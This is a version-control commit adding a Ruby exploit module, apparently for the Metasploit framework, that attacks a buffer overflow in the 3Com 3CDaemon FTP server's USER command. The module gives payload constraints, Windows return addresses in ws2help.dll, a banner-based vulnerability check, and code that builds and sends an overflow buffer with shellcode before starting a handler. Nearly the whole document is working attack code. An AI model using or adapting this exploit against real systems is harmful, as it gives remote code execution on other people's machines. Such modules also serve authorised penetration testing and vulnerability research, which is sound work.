Added subdir for protocol ftp

git-svn-id: file:///home/svn/incoming/trunk@3065 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/3cdaemon_ftp_user.rb

@@ -0,0 +1,97 @@
+require 'msf/core/exploit/ftp'
+
+module Msf
+
+class Exploits::Windows::ThreeCeeDaemonFTPUserOverflow < Msf::Exploit::Remote
+
+	include Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => '3Com 3CDaemon FTP Server Overflow',
+			'Description'    => %q{
+				This module exploits a vulnerability in the 3Com 3CDaemon
+				FTP service. This package is being distributed from the 3Com
+				web site and is recommended in numerous support documents.
+				This module uses the USER command to trigger the overflow.
+					
+			},
+			'Author'         => [ 'hdm' ],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'OSVDB', '12810'],
+					[ 'OSVDB', '12811'],
+					[ 'BID', '12155'],
+					[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
+					[ 'MIL', '1'],
+
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 224,
+					'BadChars' => "\x00\x0a\x20\x0d",
+					'StackAdjustment' => -3500,
+					'Compat'   =>
+						{
+							'ConnectionType' => "-find"
+						}
+
+				},
+			'Targets'        => 
+				[
+					[ 
+						'Windows 2000 English',
+						{
+							'Platform' => 'win',
+							'Rets'     => [ 0x75022ac4 ], # ws2help.dll
+						},
+						'Windows XP English SP0/SP1',
+						{
+							'Platform' => 'win',
+							'Rets'     => [ 0x71aa32ad ], # ws2help.dll
+						},
+						'Windows NT 4.0 SP4/SP5/SP6',
+						{
+							'Platform' => 'win',
+							'Rets'     => [ 0x77681799 ], # ws2help.dll
+						},												
+					],
+				],
+			'DisclosureDate' => 'Jan 4 2005'))
+	end
+
+	def check
+		connect
+		banner = sock.get_once
+		disconnect
+		
+		if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
+			print_status("This system appears to be vulnerable")
+			return Exploit::CheckCode::Vulnerable
+		else
+			print_status("This system does not appear to be vulnerable")
+		end
+	end
+
+	def exploit
+		connect
+
+		print_status("Trying target #{target.name}...")
+
+		buf          = Rex::Text.rand_text_english(2048, payload_badchars)
+		buf[224, 5]  = "\xe9\x1b\xff\xff\xff"
+		buf[229, 2]  = "\xeb\xf9"
+		buf[233, 4]  = [ target.ret ].pack('V')
+		buf[0, payload.encoded.length] = payload.encoded
+		
+		send_user(buf)
+
+		disconnect
+
+		handler
+	end
+
+end
+end